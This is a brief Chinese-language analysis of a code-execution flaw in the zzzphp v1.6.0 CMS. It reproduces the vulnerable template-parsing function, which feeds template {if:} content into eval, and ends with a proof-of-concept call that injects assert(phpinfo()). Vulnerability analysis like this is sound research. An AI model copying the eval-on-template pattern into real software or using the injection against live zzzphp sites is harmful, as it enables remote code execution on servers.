zzzphp v1.6.0代码执行漏洞代码分析

文件路径：\inc\zzz_template.php
位置：parserIfLabel函数

<?php 

function cleft( $str, $start = 0, $num = 1 ) {
	$var = trim( $str );
	$result = substr( $var, $start, $num );
	return $result;
}

function parserIfLabel( $zcontent ) {
	$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
	if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
		echo "<pre>";

		//var_dump($matches);
		echo "<hr />";

		$count = count( $matches[ 0 ] );
		//echo $count;

		for ( $i = 0; $i < $count; $i++ ) {
			$flag = '';
			$out_html = '';
			$ifstr = $matches[ 1 ][ $i ]; //assert(phpinfo())
			$ifstr = str_replace( '<>', '!=', $ifstr );
			$ifstr = str_replace( 'mod', '%', $ifstr );
			$ifstr1 = cleft( $ifstr, 0, 1 );
			echo $ifstr1;

			switch ( $ifstr1 ) {
				case '=':
					$ifstr = '0' . $ifstr;
					break;
				case '{':
				case '[':
					$ifstr = "'" . str_replace( "=", "'=", $ifstr );
					break;
			}
			$ifstr = str_replace( '=', '==', $ifstr );
			$ifstr = str_replace( '===', '==', $ifstr );

			@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
			
			}
		}
	}


parserIfLabel('{if:assert(phpinfo())}x{end if}');